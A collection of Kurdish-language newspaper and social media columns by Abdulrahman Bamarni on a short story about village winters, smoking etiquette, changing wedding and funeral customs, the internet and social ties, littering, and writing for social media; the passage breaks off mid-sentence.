عبدولرەحمان بامەرنی

د چیرۆكا «باگوردانێ مە»دا، شیان كانیساركی مە دبەتە دناڤ حالەتەكیدا، كو تێدا مەیێ خواندەڤان پشكداری خەمەكا خوە دكەت و دبێژیتە مە، ئەو خەریبی و بەرزەبوونا ئەز دناڤدا دژیم، ژ تاقەتا من مەزنترە و حەز دكەت برێكا ڤەگێڕانا چیڕۆكەكێ ژبیرهاتنێن خوە، وێ خەمێ ل سەر ملێن مە یێن خواندەڤان ژی پارڤە بكەت. چیڕۆك ب زمانەكێ سادە و راستەوخۆ هاتیە نڤیسین، ئەڤ شێوازێ هەنێ ژی ب ڤەگێڕانا ئاشكەرا دهێتە ناسكرنێ و ئەڤ هویردەكاریێن نڤیسەر پەنایێ دبەتە بەر، مەبەست ژێ ئازراندنا هەستێن خواندەڤاییە. چیڕۆك دیمەنەكی ژ ژیانا گوندان پیشانددەت، وەرز زڤستانە، ل زڤستانێن گوندان ژی بەفر ب چوكان دكەڤیت، باران دلۆڤانییێ ب كەسێ نابەت، تایبەت ئەو خانیێن ژ هەژاریێ و نەداریێ باش نەهاتینە دروستكرن و بان دلۆپان بكەت یان ژی د مالەكێدا كەسەك نەبیت قەستا سەربانی بكەت، بەفرێ ڕامالیت و بانی كا بكەت و دەستكێ باگوردانێ بێخیتێ و بگێڕیت.
نڤیسەرێ چیڕۆكێ ب مونتاجا ڤەگێڕانێ دیمەنان دئێخیتە بەر ئێك و د هەمی دیمەنان ژیدا، مەبەستا وی بشێت خواندەڤایێ خوە پشكداری كارێ ب زەحمەتێ كارەكتەرێ چیڕۆكا خوە بكەت، بزانیت ئەگەر ژ ڕۆلێ وی نەبایە، دا هینگێ ژیان چەند یا بزەحمەت بیت و ئەو بخوە ژی هەر وەسا بوویە، ژیانا گوندان ب وی رەنگی نەبوویە یێ بۆمە دهاتە ڤەگوهاستن، دگۆتنە مە ل گوندان هەمی تشتەكێ خۆش و جوان بوو، بەحسا سۆپەیێن داران دكرن و بەحسا بەرویان دكرن چاوان دكرنە دناڤ خۆلی پەلێ دا، یان ژی بەحسا شەڤبێریان دكرن، بەحسا كەلشتۆكێن هناران و شكاندنا گیزان و كاكلە باهیڤا و مێویژان و كتكێن هژیرا و مە هەمیان ئەو خۆزی رادهێلان ئەم ژی ل وی دەمی و دگەل وان خۆشیاندا ژیاباین. یا راست هەمی تشتەك ب زەحمەت بوو، هەبوونا دارێن قەدكری و ب بڤری كەلاشتی ل بن سیڤاندێ، كا دێ ئەو قەدێن داران تێرا زڤستانێ كەن یان نە. ئالفێ ئاژەلی و كا هەر ئێكی شیایە بۆ ئاژەلێ خوە و زڤستانا سار و بەفرین چ خڕڤەكەت و دگۆڤێ ڤە ژ برسا نەمرن. نڤیسەرێ چیڕۆكێ دیمەنەك ژڤان زەحمەتییان بەرچاڤكریە، دبێژیتە مە ل ژیانا گوندان دڤێت كەسەك هەبیت خێزان پشت بەستنێ ل سەر بكەت، ئەگەر زڤستانا وی ب ساناهی دەرباز نابیت و ئەو بابێ خوە دكەتە ئێك ژ كارەكتەرێن چیڕۆكێ. بەحسا گێڕانا بانی دكەت كو ژ تاقەتا وی زێدەتر بوو و دڤیا بێژیتە مە، بابێ من ئەو هێز بوو یا ئەم پێ دخورین، مە شانازی ب وێ هێزێ دبر و ئەم بۆ چ تشتەكی مەحتل نەدماین.
چیڕۆك زۆمێ دئێخیتە سەر چەند دیمەنان، ئێك دیمەنێ زارۆكیینا وی، مەبەست ژێ نڤیسەر دەما بابێ وی نەدهێلا ئەو چ كارەكێ بكەت و بتنێ كارەكێ بچیك نەبا، دەما دبێژیت: «نەدهێلا ئەز دەستدەمە باگوردانی، جارجاران من تەلیسێ كایێ بۆ دگرت دەمێ پێوەردكر. پشتی ئەز پیچەكێ گڕ بوویم، ڕەخەكێ دەستكی ددەتەف من، لێ ژبەر من نەوێریت هند نێزیكی سیڤاندێ بكەت نەكو ژ دەستێ من ب ڤەسەریت و ب نیڤا حەوشێ بكەڤیت». ل دیمەنێ دویێ، نڤیسەری دڤێت كارەكی ژ وێ ژیانێ نیشا مەبدەت، كو ژ تاقەتا وی زێدەترە و دبێژیت: «لەوڕا دەمێ بارانێ خوەش لێدكر و ئەز و بابێ خوە ب سەر وێ پێسترا مامێ جەلالی بۆ مە چێكری دكەفتین بۆ گێڕانا بانی، دا بابێ من دەستكێ ئاسنی بەت و وی باگوردانێ گران، پێنج شەش سەربانان ژێهەل ئینیت هەتا دگەهاندە سەربانێ مە و بان دگێڕا». ژ دروستكرنا ڤان هەمی دیمەنان، نڤیسەرێ چیڕۆكێ مە یێ خواندەڤان ژ دیمەنی ڤەدگوهێزیتە دیمەنەكێ دی و بێچارەییا خوە دیاردكەت، سەرەرای كو ئەو ژی د ژییەكێ مەزندایە و شیانێن هەمی تشتەكی یێن هەین، لێ ئەو تشتێ هێز ل دەف وی نەهێلایی بابێ وییە و هوسا دبێژیت: «جاران ژی دەمێ باران نە هند یا توند با من ب تنێ دگێڕا و وی باش چاڤدێریا من ل ڕەخێ سیڤاندا پشت بانی دكر. لەوڕا من چ جاران ئەو باگوردان نە دئێخست. د نوكەدا هەتا ئەز باگوردانی ژ بانێ شەشێ دئینم سەر بانێ مە بانگێ سپێدێ ددەت و ئێدی هەرجار باگوردان ژ دەستێ من د ڤەڕەسیت و ب نیڤا حەوشێ دكەڤیت، حەوش ژی هەمیا یا دەرزاندی».
چیڕۆك ب كورتی حالەتەكی بەرچاڤدكەت، رەنگە گەلەك ژ تاكێن كومەلگەهی تێرا دەرباز ببن و نەشێن خوە ژ بن بارێ گرانێ ڤێ هەڤركیێ دەرباز بكەن، ئەو ژی داخبار بوون ب كەساتیەكی و دا ئەو تاكێ هەنێ بشێت ژڤێ قوناغێ دەرباز ببیت ژی، ئەو پێدڤی دەركرنا هندەك راستییانە و رەنگە نڤیسەرەك ب كارەكێ ئەدەبی و هونەرمەندەك ب كارەكێ هونەری و هەر پیشەكارەك ب رەنگەكی ڤی بارێ گران دێ ل سەر ملێن خوە قولپینیت و دەست ب ژیانا خوە یا ئاسایی كەتەڤە و ژبەر هندێ ژی، ئەدەب و هونەر ب ملكێ گشتی دهێنە ناسكرن و برێكا خواندنێ، خواندەڤان ژی فێری ژیانەكا دیتر دبیت.

• باگوردانێ مە، كورەچیڕۆك، شیان مەهدی كانیساركی، رۆژناما ئەڤرۆ ژمارە (3703) یا رۆژا 3/3/2025.

عەبدولرەحمان بامەرنی

سۆشیال میدیایێ تایبەتمەندی یێن دروستكرین و سەرە ناڤێ بابەتێ من ژی هەمان تشتە، بتنێ ستێركا من ل جگارەكێشانە و نە هەمیان ژی، لێ بلا چ تشتەكێ دەستنیشانكری نەبیت و بۆ زانین، ئەز دژی جگارەكێشانێ نینم و ئەگەر بێژنە من مفایێن جگارەكێشانێ زێدەترن یان یێن نەكێشانێ؟ ئەز دێ بێژم جگارەكێشانێ و لێ ل سالا 1998ێ من جگارە نێزیكی دەڤێ خوە نەكریە و ئەز یێ پەشیمان ژی نینم.
دا بابەتی كورت بكەم، بەری چەند شەڤان بوو و هندی بێژی دنیا سار بوو، ژۆر یا بچووك بوو و ئەم بۆ كارەكێ خێرێ خرڤەببووین و ملێن زەلامان پێكڤە بوون، تشتێ ئەز راكێشایمە ڤێ نڤیسینێ ژی، جگارەكێشانا بێ ڕامانا هندەكان بوو، دەرگەهـ ڤەكرن، سار بوو، گۆتی دەرگەهی بگرن و راستی ژی هندەك تشت بێ لوقییە و ئەڤێ ل تەنشت من ژی جگارەكێش بوو، ئەوی گازندەكرن و گۆت ئەگەر ئەز بتنێ بامە یان ژ دەرڤە بامە، رەنگە هەتا نوكە من شەش بۆ حەفت جگاران كێشابانە، لێ بتنێ من ئێك یا كێشایی و من گۆتێ جگارەكێشانێ دڤێت دەمەكێ گونجای بۆ هەبیت و ئەرێ چ تام دوێ كێشانێ دا هەیە، ئەگەر تۆ ببیە جهێ نە ئارامیێ بۆ هندەك كەسێن دی؟ من ئەڤە گۆت و من ئاخفتن بۆ وی هێلا و مەبەستا من ژی ئەڤە بوو، ئەگەر من گۆتبا دا گەلەك ژ خواندەڤانان بێژنە من، ژبەركو تۆ جگاركێش نینی و ئەڤێ ل تەنشتا من جهێ روونشتنا خوە خۆشتر لێكر و سەرێ خوە هەژاند، دەما دیتی من ئاخفتن بۆ وی هێلا و گۆت: تە راستی بڤێت هەر تشت ب جوانی و ل دەمێ خوە یێ خۆشە، ئەگەر ئەڤێن دڤێ ژۆرێ ڤە پیچەك هزرێ ل كەسێن دی یێن روونشتی بكەن، یان پیچەكێ سەرئەڤراز بەرێ خوە بدەن و ژبەركو ژۆرێن خانی دناڤئێكرانە و دوكێل بۆ لایێ ژنان و زارۆكان ژی دچیت، رەنگە نەخۆشێن هەین و تەندروستییا هندەكان نەیا باشە و دڤێت جگارەكێشی ب خوە تی َهەبیت، ل مالا خوە تە چ دڤێت بكە، لێ ل جهێن گشتی رێزێ ل كەسێن دی ژی بگرە.

عەبدولرەحمان بامەرنی

ل گەل دەمی و ل گەل بۆرینا سال و دەمان، ل گەل گوهۆرینا بارۆدوخێ ژیانێ و د گەل ڤێ لێهمشتا ئەنترنێتێ و سۆشیال میدیایێ دگەل خوە ئینایی، گوهۆرین ب سەر گەلەك تشتان دا هاتن، ژ وان ژی دابونەریت. دەما ئەم بەحسا دابونەریتان ژی دكەین، ئەم بەحسا هەر تشتی دكەین یێ گرێدایی پەیوەندیێن جڤاكی و پێشوەخت خەلك رێورەسمێن وێ دزانیت و ئەز دێ بابەتێ خوە كورتكەمە سەر شاهی و داوەتان. هەر چەندە شاهی و داوەت گرێدایی حالخۆشییا هەر كەسەكینە و د بەرێدا دگۆتن فلان كەسی وەك نموونە داوەتەك گێڕا نە سەرێ دیار و نەبنێ دیار. مەبەستا وان هندی یا بۆش بوو و سەرداوەتی گەلەك بوون. ئەڤا من مەبەست پێ هەی، داوەتان هندەك رێورەسمێن خوە یێن تایبەت هەبوون و خەلكی پێگیری پێدكرن، ل رۆژا داویێ ژی سەر سبەحی هەبوو، هەر ئێكی ل دویڤ نێزیكیا خوە بۆ زاڤایی، ل دویڤ پێچێبوونا خوە سبەحی بۆ زاڤای و بیكێ دبرن و سەرسبەحیێ گرنگییا خوە بۆ بهێزكرنا پەیوەندیێن خێزانێ هەبوون و دیسا بارسڤیەك بوو ژبۆ مالا زاڤایی.
ئەز دێ بەحسا پشتی سەرهلدانێ كەم و ئەو گوهۆرینێن ژ ئەگەرێ قەیرانێن ئابۆری، دیسا پەیدابوونا رەوتێن ئیسلامی دروست بووین و ل بیرا مەیە ئەڤێن هەڤتەمەنێ مە، ل سالێن نۆتان دیاردەیەك دروست بوو ژبۆ رەدكرنا شێوازێ داوەتان، كو د دیتن داوەتێن تێكەلی دگەل شیرازێ ئایینی ناگونجیت و هەر نموونەیەكێ بەحس بكەم، دەما ڤیایین گوهۆرینەكێ دروست بكەن و وەك من دیتی، ژۆر یا تژی بوو، ستران نەهاتنە گۆتن، قەدەغەبوون، سەما نەهاتنەكرن، ژبەركو دڤیابا (مسەجل) هاتبا هەلكرن و دا كو (جەو) ببیتە یێ جەوێ داوەتێ و كەیفێ، هندەكان نوكتە گۆتن! ئەو ب سەرێ خوە و خالا دوویێ كو مە بەحسا قەیرانا ئابۆری كری، یێ ل سالێن نۆتان ژییایی دزانیت دو ئابلۆقێن ئابۆری هەبوون، هەمی تشت دگران بوون و هەر نەبوون ژی و خەلك ب گشتی د هەژاریێ دا دژی، یێ داوەتەك ژی كربایە، ژبۆ كو بشێت هاریكاریەكێ ڤەجەمینیت، هەر كەسێ سلاڤەك ژی دگەل هەی، دا كارتەكا داخوازیێ بۆ فرێكەت ژبەر (سبەحییێ)، ئێدی كارتێن داوەتێ ب رەنگەكێ بەرەللایی هاتن بلاڤكرن، خەلك بێزار كر و هندەكان شەرم كر ب ڤی رەنگی داوەتێن خوە بكەن. ئێدی دەرگەهەك نوی ڤەبوو، كارتوونا سبەحیان نەهێتەدانان و ژبەركو داخوازكریێن داوەتێ گەلەك بوون و سبەحی ژی نەبیت، جۆرەكێ دی یێ بارگرانییێ ل سەر مالا زاڤایی دروست دبوو و ئێدی خەلكی داخوازكریێن سەر داوەتێ گەلەك سنوورداركرن. دا بینی گەلەك جاران یێن گەلەك نێزیك ژی ژ خێزانێ وەك مالا خالێ یان خالەتێ یان مەتێ و یا دوو بابا ژی وێڤەتر بیت، ناهێنە داخوازكرن و تشتێ خرابتر دا كو ئەڤ ڤالاهییا هەنێ بهێتە پڕكرن، هندەك دابونەریتێن دی دەركەفتن، ژ وان، سالۆنێن (vip)، شرینیێن (vip) و ب رەنگەكی و دوویان نوكە ئەم یێ دبینین، هندەك تشت یێ دبنە دابونەریت و بتنێ هندەك بازرگان و خودانێن پێشانگەهان قازانجێ دكەن و مەبەست ژ كرنا داوەتێ بخوە یا دهێتە ژبیركرن، ژبەركو هەر ژ خوازگینیا بگرە، ژ نیشانییێ بگرە و تا داوەتێ و ڤەگوهاستنا بیكێ بۆ مالا زاڤایی، یانكو خەلكەكێ دی بزانیت خێزانەكا دی د ناڤبەرا دو كەساندا هاتە پێكئینان و ئەڤ خەلكە پیرۆزیێ ل ژیانا نوی یا بیك و زاڤایان بكەن و ئەڤە بوون ئەو دابونەریتێن ئەم و باب و باپیرێن مە ل سەر راهاتین و ئەگەر نوكە ژی، ئەم ل سەر وێ كاربكەین و زێدەرەویێ تێدا نەكەین، مەزاختی دێ كێمتر بیت و مرۆڤاینیی ژی دێ زێدەتر بیت و دێ كەیفا بیك و زاڤایان ژی بڤێ رۆژێ زێدەتر بیت، كو خەونا هەردوكانە و ئەڤە خۆشترین رۆژە بۆ وان.

عەبدولرەحمان بامەرنی

دگەل هاتنا شەپۆلا ئەنترنێتێ ب ڤێ بەرفرەهیێ و ڤان هەمی ئەبلیكەیشنان، تورێن جڤاكی و هەر ئێك ب رێكا خوە و ب ئامیرێ خوە یێ تایبەت دچیتە د ناڤدا، خەلك هند یێ ب خوەڤە مژویل كری، ئێدی سەرەدان یێن كێم بووین و چوونا ب گوندیڤە وەك جاران نەمایە، خڕڤەبوون ل مالەكێ ناهێتە دیتنێ و هەر كەسێ تو لدەف بروینی دێ گازندان كەت و بێژیت مرۆڤاهی یا كێم بووی و ئەنترنێتێ خەلك یێن ژ ئێك دویركرین و خوە جەژن و بەهی ژی یێن بووینە نامەیێن مۆبایلێ و سەدان گۆتن و بەهانەیێن دی، لێ ئەرێ‌ راستە ئەنترنێتێ ئەڤ پەیوەندیێن هەنێ كێم كرینە؟ رەنگە ئەگەر ڤێ پرسیارێ ب هەلبژاردەیا (بەلێ و نەخێر) بێخینە بەردەستێ خەلكی، سێكا خەلكی دێ درێكەفتی بین، كو بەلێ ئەنترنێتێ پەیوەندیێن جڤاكی یێن كێم كرین و ژخوە ئەگەر تو گوهێ خوەبدەیە وان كەسان ئەڤێن دبێژێن بەلێ، دێ بۆ تە ب دەهان نموونەیان ئینن كو دلۆڤانی نەمایە و دێ بێژن، سەرەدان نەماینە، جەژن وەكی بەرێ نەماینە و ئەو د دروستن و ئەگەر بێژین بەروڤاژی ئەنترنێتێ پەیوەندیێن جڤاكی یێن موكمتر ژی لێكرین، د هەمان دەمدا ئەڤ تەخە ژی یا دروستە. ل ڤێرە تشتەك دمینیت، د ناڤبەرا ڤان هەردو دروستیان دا، ئەو چ تشتە هەردو جوین ل سەر خالەكێ درێكەفتی نەبن؟ پێنەڤێت ئەڤە دێ بۆ ئاستێ بكارئینانێ و خوە گونجاندنێ دگەل ڤان ئامیرەیان مینیت و ئەگەر ل سەر هەر ئێكێ ژ ڤان جوداتر راوەستین، ئەڤێن دبێژن ئەنترنێتێ مرۆڤاهی و دلۆڤانی یا كێمكری، پڕانیا وان كەسان دێ ژ وێ تەخێ بن، یێن نەشیایین خوە دگەل ئەنترنێتێ بگونجینن، چ تەمەن ئەگەر بیت، چ نەبوونا ئەنترنێتێ ئەگەر بیت، چ نەبوونا ئامیرێ پێشكەفتی و گونجای ئەگەر بیت و چ ژی كەسەك بیت خەریبیێن جاران بكەت، بیرهاتنێن وی، ئەوا بۆ وی هاتیە گۆتنێ و د بەرامبەر دا ئەڤێن دشێن خوە دگەل ئەنترنێتێ بگونجینین، دێ بینی مژولاهیێن وان یێن بووینە گەلەك، دچنە د ناڤ بەرنامەیێن نوی دا، ئەز بەحسا وان بكەم ئەڤێن مفایی ژ ئەنترنێتێ وەردگرن، دشێن خوە پێش بێخن، زانیاریێن خوە زێدە بكەن، بزانن چ ل دەردوورێن وان رویددەت، ب رێكا ئەنترنێتێ جیهانێ ببینن و ئەڤە ژبلی پەیوەندیێن هەڤالینیێ، ئاخفتن و دانوستاندن دگەل كەسێن دی و یان كو هشیاربوونەك ل دەف وان دروست دبیت، ئەو هشیاربوونا هەنێ وی ژ ژینگەها وی یا بەرتەنگ دەربازی ژینگەهەكا مەزنتر لێدكەت.
دا بزڤرینە تەخا ئێكێ ئەڤێن گازندێ ژ ئەنترنێتێ دكەن، ئەگەر بەحسا یێن مەزن بكەین و نەشێن ڤیان ئامیران بكاربینن، رەنگە رۆژانە یان چەند رۆژان زارۆكێن وی ل كیڤە بن دێ پەیوەندیێ پێكەن و هەر تشتێ وان دڤێت و چ دەمێ وان دڤێت دشێن پرسیارا سەح و سییا ژ ئێك بكەن، ئەڤە ژبلی دروستكرنا خارنێ، كرینا تشتان، گوهورینا ناڤ مالێ، ژ وەلاتەكی بۆ وەلاتەكی، بلاڤبوونا بلەزا ئاگەهیان و یا من دڤێت لڤیرە بێژم، ئەز چ ژ هەردوو ئالیان ب سەر یێدی نا ئێخم، لێ هەر ئێكێ باشی و خرابیێن خوە هەنە و رەنگە هەر ئێك لدویڤ شیانێن خوە و لدویڤ زانینا خوە تێكەلی ڤان بەرنامان دبیت و یا ئەز دزانم، ئەگەر ئەم ژڤێ قۆناغێ دەرباز ببین، قۆناغا بهێت چ مەزن بیت چ بچیك بیت و خوە دگەل ئەنترنێتێ نە گونجینیت، ئەو دێ كەسەكێ دویر جڤاكی بیت.

عەبدولرەحمان بامەرنی

ئەز دێ ژ گۆتنەكا (لیو تولستۆی) ل دۆر پاقژیێ، بابەتێ خوە نڤیسم، ئەو دبێژیت (كەسێ پاقژ، ب هشیاری دناڤ گلێشی دا هاتنووچۆنێ دكەت، بەلێ دەمێ‌ پێلاڤا وی پیس بوو، هشیارییا وی كێمتر لێ دهێت و دەمێ‌ دبینیت پێلاڤێن هەموویان دپیسن، ئەو هشیاری یە ژی ل دەف نامینیت و گوهنادەتە پیسبوونا پێلاڤا خوە) و ل بیرا منە هێشتا ئەم زارۆك بووین، ئەم هاتبووینە پەروەردەكرن، نابیت گلێش بكەڤیتە سەر (مەحفیرێ) و دگەل ڤێ پەروەردەكرنێ، دەمێ‌ دچمە جهەكێ میری یان ئۆفیسەكێ و مۆكێتەكێ لێ دبینم، من یا هەولدا یی پێلاڤێن خوە بێخم، لێ یێن گۆتینە من ئاساییە پێ لێدانی و دەما ب ژۆر كەفتیم، مۆكێتەكا پاقژ دكەفتە بەرچاڤێن من. هەر چاوا بیت ئەو هندەك بابەتێن دی بوون و یا من مە بەست پێ، بەری چەند رۆژان ئەم بۆ كارەكێ ل زاخۆ بووین و مە پیاسەیەك ل كۆرنیشێ زاخۆ كر، ئەز بەحسێ‌ جوانییا وێ ناكەم و ئەو پارێ لێ هاتیە مەزاختن و دێ شێت چەند گەشتیاران بۆ لایێ خوە راكێشیت، ژبلی پەیداكرنا سیمایێن شارستانەیەتێ لڤی باژێری، لێ یا من تێبینی كری، ل چ جهان گلێش ب بەرچاڤێن من نەكەفت و تشتێ ئەز پالدایمە ڤێ نڤیسینێ ژی، دروستبوونا ڤێ پرسیارێ بوو، ئەو چ ئەگەرن ل جهەكێ دی ئەم گلێشێ خوە پاڤێژینە سەر عەردی و ل ڤێرە گلێشێ خوە بكەینە دجهێ گلێشی دا، ب دیتنا من دو ئەگەر هەنە، ئێك ب گۆتنا (لیو تولستۆی)ڤە گرێداییە و ئێك ژی ب پەروەردەكرنا مەڤە، یا تولستۆی، دەمێ‌ ئەزێ گەشتیار چ گلێشەكی ل چ جهان نەبینم، ئەز ب خوە دێ شەرم كەم گلێشێ خوە پاڤێژم سەرعەردی و خوە ئەگەر چاڤێ كەسەكی لمن نەبیت و یا دویێ ژی ئەم ژخوە دەستپێبكەین، بۆ نموونە ئەگەر مە بڤێت دیاردەیەكێ كێم بكەین، ل جهەكێ گشتی، ل سەر جاددێ، ل بەرچاڤێن خەلكی، جارەكێ دوویان ئەم گلێشی ژ عەردی راكەین و بكەینە دجهێ وی یێ تایبەت دا، ئەڤ خەلكێ بەرێ خوە ددەتە مە، ئەگەر چاڤ لمە نەكەت ژی، لێ ئێدی ئەو دێ شەرم كەت و ل هەر جهی گلێشێ خوە پاڤێژیت.

عەبدولرەحمان بامەرنی

هەر چەندە ئەڤێن دەستێ نڤیسینێ هەین و پێشتر گوتارێن وان د رۆژنامە و گۆڤاران دا جهێ خوەكری، ئەو هزردكەن ئەون چالاكڤانێن سۆشیال میدیایێ نە، مەبەستا من (تۆڕا فەیسبۆكێ، ژبەركو گۆتار ل ڤێ تۆرێ زێدەتر دهێنە خواندن) و نەبتنێ چالاكڤان، بەلكو هزردكەن تۆرەكا وەكی فەیسبۆكێ پێدڤی نڤیسینێن وانە! لێ راستی بیت، نڤیسین بۆ رۆژنامێ و بۆ گوڤارێ و بۆ سۆشیالێ دو تشتێن ژ ئێكجودانە، خوە ئەگەر كەرێن ئێك سێڤ ژی بن. ئەم دشێین هۆسا ژی بێژین، سۆشیالێ جۆرەكێ دییێ نڤیسەری دروست كر، نڤیسەرەكێ ب ئاگەهتر، نڤیسەرەكێ راستە راست و نڤیسەرەك بشێت وێرەكییێ بدەتە خوە و ل بەرامبەری خواندەڤایی راوەستیت و ئەڤا ئەز دبێژم، هەمی نڤیسەران ئەو شیانە نینن و ژێ درەڤن، ژبەركو نڤیسین بۆ رۆژنامێ و گۆڤارێ، جوداترە ژ ئەوا ل سۆشیالێ دهێتە بلاڤكرنێ، ئەز بەحسا كورتیێ و لەزاتییا گەهاندنێ بتنێ ناكەم، بەلكو خواندەڤایێ سۆشیالێ یە ڤی حوكمی ل سەر جۆرێ نڤیسەری ددەت و ئێدی ئەو ژ هەمی كەسان قەبویل ناكەت هەر تشتێ بهێتە نڤیسین ئەو بخوینیت و لدویڤ پیڤەرێن وی، نڤیسەر دهێتە پۆلینكرن و ئەڤ كەسێن نەشێن خوە دگەل سۆشیال میدیایێ بگونجینن، ئەو د رێدا دمینن و رەنگە باشترین نڤیسەرێ بۆ سۆشیالێ میدیایێ‌ بنڤیسیت ژی هندەك سالۆخەت لدەف هەبن. دا بابەتێ من ژی باشتر بگەهیت، ئەز دێ ل سەر هندەك ژ وان سالۆخەتان راوەستم، ئەو ژی، نڤیسەر دڤێت راستە راست بابەتێ وی بڤێت بگەهینت، بێ چەپ و چیر و كورت و بێ شرۆڤەكرن، زمانەكێ سادە و هەمی كەس تێبگەهن و وێرەكی و دیتنا نڤیسەری دگەل بیت، چارەسەری دگەلدا هەبیت، ئەگەر بابەت رەخنەیی بیت و دیسا بشێت پرسیارێ ژی لدەف خواندەڤایی دروست بكەت، تا كو ئەو نڤیسینا هەنێ بشێت كونتاكێ دگەل خواندەڤای دروست بكەت.
بۆچی من گۆت هەمی نڤیسەر نەشێن خوە دگەل سۆشیال میدیایێ یان خواندەڤایێ نوی بگونجینن؟ ئەڤا ئەز دێ نڤیسم ژی ژ سەربۆرێن من یێن نڤیسینێ نە چ وەك رۆژنامە و گۆڤار یان ژی سوشیال میدیا و ل رۆژنامێ و گۆڤارێ، نڤیسەر خوە پاراستیتر دبینیت و ناكەڤیتە بەر گەنگەشا هەر كەسێ هەی، د رۆژنامە و گۆڤارێ دا ئەگەر خواندەڤایەكی دیتنەكا جوداتر ژی هەبیت، دێ دیتنا وی بۆ وی بتنێ بیت، لێ د سۆشیال میدیایێ دا هەمی تشت جودایە، خواندەڤان و كەیفا خوە، ئەو چاوان تێدگەهیت و ئەو چاوا رەخنێ دگریت و گەلەك ژ نڤیسەران وێرەكیێ نادەنە خوە، ژبەركو وان بۆ خوە جیهانەكا داخستی دروستكرینە و ب بەهانەیێن جودا، ئەو دبێژن ئەڤە نڤیسینێن مە و بلا خواندەڤان لدویڤ نڤیسینێن مە بگەریت، رەنگە بارەكا مافی دگەل واندا هەبیت، لێ د هەمان دەمدا ئەو رەڤینە ژ راستییێ، مەبەستا من رەڤینە ژ خواندەڤایی، رەڤینە ژ ڤێ جیهانا نوی و ڤێ تەكنەلۆژیا جیهان سەرسام كری، ژبەركو ئێدی دخوازیت نڤیسەر بۆ خواندەڤایی بنڤیسیت و بزانیت خواندەڤای چ ژوی دڤێت و ئەز باوەردكەم دێ گەلەك گوهۆرینان ب سەر ئەوا ئەو دنڤیسیت دا ئینیت، ئەز بەحسا گەهاندنێ دكەم و دڤێت نڤیسەر وێ وێرەكیێ ژی بدەتە خوە، ئەو بكەڤیتە بەرامبەری خواندەڤایی و بزانیت ئاستێ تێگەهشتنا وی چەندە، ئاستێ تێگەهشتنا وی بۆ نڤیسینا وی مەبەستا من، دەربرین و دارشتنا وی بۆ بابەتێ وی، خوە ئەگەر چەند یێ كورت ژی بیت و بوچی من دمانشێتێ ڤێ گوتارێ دا نڤیسی چالاكڤان و نە نڤیسەر؟ ئەڤە ژی ئێك ژ جوداهیانە، بۆ سوشیال میدیایێ دڤێت نڤیسین یا راستە راست بیت، هەر وەكو نڤیسەر دگەل خواندەڤایی یان وەرگری د ئاخڤیت و دڤێت رێكێن چارەسەریێ ژی دگەلدا هەبن و دگەل چالاكڤانی ئەڤ تشتێ هەنێ زێدەتر دروست دبیت، ژبەركو چالاكڤان یێ فێرە دگەل وەرگری دكەڤیتە دانوستاندنێ و دیتن و بوچوونێن وی وەردگریت، لێ نڤیسەر فێری ڤێ چەندێ نەبوویە، وی هەر یا دیتی بابەتێ خوە نڤیسی و یێ هاتیە بلاڤكرنێ و كێم جاران دیتن و رەخنە ل سەر ئەوا وی نڤیسی یا هاتیە گرتنێ و چ جارەكێ نەكەفتیە بەرامبەری خواندەڤایێ خوە و بزانیت وی چ ژ وی دڤێت ئەو بنڤیسیت و چ جارەكێ ژی فێر نەبوویە خواندەڤایێ وی ل بەرامبەری ئەوا وی نڤیسی راوەستیت و رەخنێ لێبكەت، نە بتنێ كەسەك بەلكو دەهان كەس كومێنتێن خوە یێن رەخنەیی ئاراستەیی وی بكەن و ئەگەر مەبڤێت نڤیسەرێ مە ژی قەرقۆدێ وی بۆ خوە دروستكری دەركەڤیت و ل بەرامبەری خواندەڤایێ خوە راوەستیت، كو هەر دەم ئەو گازندا دكەت خواندەڤا نینە، دڤێت بزانیت خواندەڤایێ وی چ ژ وی دڤێت؟

عەبدولرەحمان بامەرنی

ئێك ژ بابەتێن گەرمێن ل ڤێ دووماهیێ سۆشیال میدیا بخوەڤە مژویل كری، بابەتێ دروستكرنا خوارنا ناڤ تازیانە. نە بتنێ سۆشیال میدیا، بەلكو بنەمال، گوند و تا عەشیرەتێ ژی ل گەلەك جهان كرینە بریار، كو نابیت خوارن ل مالا خودانێ تازیێ بهێتە دروستكرن. هەر كەسێ دویڤچوونا بابەتی ژی كربیت و تایبەت سۆشیال دەرگەهێ دانوستاندنێ ل بەر دیتنێن جودا ڤەدكەت، هەمیان دەستخۆشی ل ڤان پێنگاڤان كرن، ژبەركو بارگرانیەكە دكەڤیتە سەر مالا تازیێ و دگەل خەمێن تازیێ و ژ دەستدانا خۆشتیڤەكی، بارگرانییا مەزاختیێ خوارنا تازیێ ژی دهێتە سەر و هەر وەكو من گۆتی سۆشیال دەرگەهێ دانوستاندنێ لبەر هەمیان ڤەدكەت، د ناڤ هندەك كۆمێنتان دا هاتبوو، ئەرێ ما چاوا بەهیچنەك ژ دویر بهێت و ئەز بێ خوران بزڤرینم؟ د كۆمێنتەكا دیدا ئاماژە ب سندۆقا بنەمالێ ددان، كو مە سندۆقا بەخشینێ یا هەی و بنەمال یان گوند هەمی تێدا پشكدارە و بارگرانی ناكەڤیتە سەر خودانێ تازیێ و ئەڤە و چەندین دیتن و كۆمێنتێن دی، كو رەنگە هەر ئێكی بارەكا مافی دگەلدا هەبیت، لێ ئەگەر ژلایەكێ دیڤە ل بابەتی بنێرین، بۆچی بابەتێ خوارنا ناڤ تازیێ خەلك دلگرانكریە و سۆشیال میدیا لێ هاتیە دەنگ؟ دێ بینین رەفتارێن هندەكان و زێدەرەوییا هندەكان ل سەر هندەك بابەتان، بووینە ئەگەر كو چاڤلێكرنێن نە د جهێ خوەدا بهێنە گۆرێ و ئەگەر هندەكێ ل سەر خورانا تازیان راوەستین و ئەو چ ئەگەر بوون كو ئەڤ بریارێن هەنێ یان ئەڤ مشتومرێن هەنێ ل سەر خورانێن تازیێ دروست ببن، ئەڤێن ل خوارێ نە: ئێك: ل ڤێ دووماهیێ دابونەریتەكی سەرهلدا، ئەو ژی برنا بەهیچنان بۆ خورانگەهان و بابەتێ خورانگەهێ ب بابەتێ (كەیس ماقیلی، خوە شەرمكرن، خوە كێمنەدیتن و ما ئەز ژكێ كێمترم)ڤە هاتە گرێدان. دو: د كوردەواریێ دا دەما تازی بۆ ئێكی دروست دبوو، مالا مری خوارن چێنەدكرن، بەلكو دەروجیرانان خوران بۆ مالێ دئینان و ئەڤێن دی هەر ئێكی قەستا مالا خوە دكرن، بتنێ ئەگەر كەسەك ژدویر هاتبا، ئەو ژی نە خوارنگەهـ هەبوون و رێورێبار نەبوون. نوكە هەمی تشت بەرۆڤاژییە و ژبەرفرەهبوونا باژێری، كەس تازیێ ل مالێ نادانیت بەلكو 